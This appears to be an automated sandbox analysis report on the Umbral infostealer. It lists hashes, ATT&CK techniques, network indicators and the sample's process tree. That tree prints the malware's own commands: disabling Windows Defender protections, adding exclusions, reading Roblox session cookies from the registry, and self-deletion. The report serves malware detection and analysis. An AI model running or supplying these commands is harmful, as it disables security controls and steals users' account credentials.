umbral | 63d3d7fa239794ce2b47c70445eee9cb6549fde64dea4185f17df6ace12d1c4a

Analysis

max time kernel
22s
max time network
25s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
17-09-2024 19:19

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General

Target

Umbral.exe
Size

231KB
MD5

46bbe6bc5429714093c47fd3ab01c078
SHA1

67507abcd9e1be3b86b0efb57b60266ac609481f
SHA256

63d3d7fa239794ce2b47c70445eee9cb6549fde64dea4185f17df6ace12d1c4a
SHA512

2e0ce4935cb658e3dadc78bc2d5ce779e4d9f9be491d3b09436bf16de74ab42beb5b41adaf3f9f1ae5c918e16d5f90428ab269cb78fb8df00bdae666e8e9f56a
SSDEEP

6144:RloZM9rIkd8g+EtXHkv/iD4r6lHLxCqVAQhTuOL4lb8e1m5Mhi:joZOL+EP8r6lHLxCqVAQhTuOLEI

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/4284-1-0x000001EB3BDE0000-0x000001EB3BE20000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
6008	powershell.exe
4796	powershell.exe
5244	powershell.exe
3576	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	discord.com
22	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2492	cmd.exe
1676	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
6036	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1676	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
6008	powershell.exe
6008	powershell.exe
4796	powershell.exe
4796	powershell.exe
5244	powershell.exe
5244	powershell.exe
1844	powershell.exe
1844	powershell.exe
3576	powershell.exe
3576	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4284	Umbral.exe
Token: SeDebugPrivilege	6008	powershell.exe
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeDebugPrivilege	5244	powershell.exe
Token: SeDebugPrivilege	1844	powershell.exe
Token: SeIncreaseQuotaPrivilege	3360	wmic.exe
Token: SeSecurityPrivilege	3360	wmic.exe
Token: SeTakeOwnershipPrivilege	3360	wmic.exe
Token: SeLoadDriverPrivilege	3360	wmic.exe
Token: SeSystemProfilePrivilege	3360	wmic.exe
Token: SeSystemtimePrivilege	3360	wmic.exe
Token: SeProfSingleProcessPrivilege	3360	wmic.exe
Token: SeIncBasePriorityPrivilege	3360	wmic.exe
Token: SeCreatePagefilePrivilege	3360	wmic.exe
Token: SeBackupPrivilege	3360	wmic.exe
Token: SeRestorePrivilege	3360	wmic.exe
Token: SeShutdownPrivilege	3360	wmic.exe
Token: SeDebugPrivilege	3360	wmic.exe
Token: SeSystemEnvironmentPrivilege	3360	wmic.exe
Token: SeRemoteShutdownPrivilege	3360	wmic.exe
Token: SeUndockPrivilege	3360	wmic.exe
Token: SeManageVolumePrivilege	3360	wmic.exe
Token: 33	3360	wmic.exe
Token: 34	3360	wmic.exe
Token: 35	3360	wmic.exe
Token: 36	3360	wmic.exe
Token: SeIncreaseQuotaPrivilege	3360	wmic.exe
Token: SeSecurityPrivilege	3360	wmic.exe
Token: SeTakeOwnershipPrivilege	3360	wmic.exe
Token: SeLoadDriverPrivilege	3360	wmic.exe
Token: SeSystemProfilePrivilege	3360	wmic.exe
Token: SeSystemtimePrivilege	3360	wmic.exe
Token: SeProfSingleProcessPrivilege	3360	wmic.exe
Token: SeIncBasePriorityPrivilege	3360	wmic.exe
Token: SeCreatePagefilePrivilege	3360	wmic.exe
Token: SeBackupPrivilege	3360	wmic.exe
Token: SeRestorePrivilege	3360	wmic.exe
Token: SeShutdownPrivilege	3360	wmic.exe
Token: SeDebugPrivilege	3360	wmic.exe
Token: SeSystemEnvironmentPrivilege	3360	wmic.exe
Token: SeRemoteShutdownPrivilege	3360	wmic.exe
Token: SeUndockPrivilege	3360	wmic.exe
Token: SeManageVolumePrivilege	3360	wmic.exe
Token: 33	3360	wmic.exe
Token: 34	3360	wmic.exe
Token: 35	3360	wmic.exe
Token: 36	3360	wmic.exe
Token: SeIncreaseQuotaPrivilege	2308	wmic.exe
Token: SeSecurityPrivilege	2308	wmic.exe
Token: SeTakeOwnershipPrivilege	2308	wmic.exe
Token: SeLoadDriverPrivilege	2308	wmic.exe
Token: SeSystemProfilePrivilege	2308	wmic.exe
Token: SeSystemtimePrivilege	2308	wmic.exe
Token: SeProfSingleProcessPrivilege	2308	wmic.exe
Token: SeIncBasePriorityPrivilege	2308	wmic.exe
Token: SeCreatePagefilePrivilege	2308	wmic.exe
Token: SeBackupPrivilege	2308	wmic.exe
Token: SeRestorePrivilege	2308	wmic.exe
Token: SeShutdownPrivilege	2308	wmic.exe
Token: SeDebugPrivilege	2308	wmic.exe
Token: SeSystemEnvironmentPrivilege	2308	wmic.exe
Token: SeRemoteShutdownPrivilege	2308	wmic.exe
Token: SeUndockPrivilege	2308	wmic.exe
Token: SeManageVolumePrivilege	2308	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4284 wrote to memory of 3296	4284	Umbral.exe	82
PID 4284 wrote to memory of 3296	4284	Umbral.exe	82
PID 4284 wrote to memory of 6008	4284	Umbral.exe	84
PID 4284 wrote to memory of 6008	4284	Umbral.exe	84
PID 4284 wrote to memory of 4796	4284	Umbral.exe	86
PID 4284 wrote to memory of 4796	4284	Umbral.exe	86
PID 4284 wrote to memory of 5244	4284	Umbral.exe	88
PID 4284 wrote to memory of 5244	4284	Umbral.exe	88
PID 4284 wrote to memory of 1844	4284	Umbral.exe	90
PID 4284 wrote to memory of 1844	4284	Umbral.exe	90
PID 4284 wrote to memory of 3360	4284	Umbral.exe	94
PID 4284 wrote to memory of 3360	4284	Umbral.exe	94
PID 4284 wrote to memory of 2308	4284	Umbral.exe	97
PID 4284 wrote to memory of 2308	4284	Umbral.exe	97
PID 4284 wrote to memory of 4416	4284	Umbral.exe	99
PID 4284 wrote to memory of 4416	4284	Umbral.exe	99
PID 4284 wrote to memory of 3576	4284	Umbral.exe	101
PID 4284 wrote to memory of 3576	4284	Umbral.exe	101
PID 4284 wrote to memory of 6036	4284	Umbral.exe	103
PID 4284 wrote to memory of 6036	4284	Umbral.exe	103
PID 4284 wrote to memory of 2492	4284	Umbral.exe	110
PID 4284 wrote to memory of 2492	4284	Umbral.exe	110
PID 2492 wrote to memory of 1676	2492	cmd.exe	112
PID 2492 wrote to memory of 1676	2492	cmd.exe	112

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3296	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4284
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:3296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1844
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3360
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2308
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3576
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:6036
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2492
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
966914e2e771de7a4a57a95b6ecfa8a9

SHA1
7a32282fd51dd032967ed4d9a40cc57e265aeff2

SHA256
98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba

SHA512
dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
58b80fe8da7d23cd3c9707f4ce93457e

SHA1
7d1c58b992631d82cabd38d738ccca072c91c124

SHA256
4479db3e2faf952801a1506140f3612e267e9bb4f5d509b0d63204429de8eef3

SHA512
82ef5d29aaf46b5fef467185193f03612058c4bbd7b9926293a79c18deefe137811f95dc59feaa649376c8711ca3253177177b538d2d953147db1ed719cba5e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_frxeedhu.2db.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4284-73-0x000001EB3DAC0000-0x000001EB3DAD2000-memory.dmp

Filesize
72KB

Download
memory/4284-1-0x000001EB3BDE0000-0x000001EB3BE20000-memory.dmp

Filesize
256KB

Download
memory/4284-96-0x00007FFA91E30000-0x00007FFA928F1000-memory.dmp

Filesize
10.8MB

Download
memory/4284-95-0x000001EB56610000-0x000001EB567B9000-memory.dmp

Filesize
1.7MB

Download
memory/4284-90-0x000001EB56610000-0x000001EB567B9000-memory.dmp

Filesize
1.7MB

Download
memory/4284-89-0x00007FFA91E30000-0x00007FFA928F1000-memory.dmp

Filesize
10.8MB

Download
memory/4284-35-0x000001EB565C0000-0x000001EB56610000-memory.dmp

Filesize
320KB

Download
memory/4284-34-0x000001EB56540000-0x000001EB565B6000-memory.dmp

Filesize
472KB

Download
memory/4284-36-0x000001EB563C0000-0x000001EB563DE000-memory.dmp

Filesize
120KB

Download
memory/4284-88-0x00007FFA91E33000-0x00007FFA91E35000-memory.dmp

Filesize
8KB

Download
memory/4284-2-0x00007FFA91E30000-0x00007FFA928F1000-memory.dmp

Filesize
10.8MB

Download
memory/4284-72-0x000001EB3DA90000-0x000001EB3DA9A000-memory.dmp

Filesize
40KB

Download
memory/4284-0-0x00007FFA91E33000-0x00007FFA91E35000-memory.dmp

Filesize
8KB

Download
memory/6008-13-0x00007FFA91E30000-0x00007FFA928F1000-memory.dmp

Filesize
10.8MB

Download
memory/6008-8-0x000002A2407C0000-0x000002A2407E2000-memory.dmp

Filesize
136KB

Download
memory/6008-15-0x00007FFA91E30000-0x00007FFA928F1000-memory.dmp

Filesize
10.8MB

Download
memory/6008-14-0x00007FFA91E30000-0x00007FFA928F1000-memory.dmp

Filesize
10.8MB

Download
memory/6008-19-0x00007FFA91E30000-0x00007FFA928F1000-memory.dmp

Filesize
10.8MB

Download
memory/6008-18-0x00007FFA91E30000-0x00007FFA928F1000-memory.dmp

Filesize
10.8MB

Download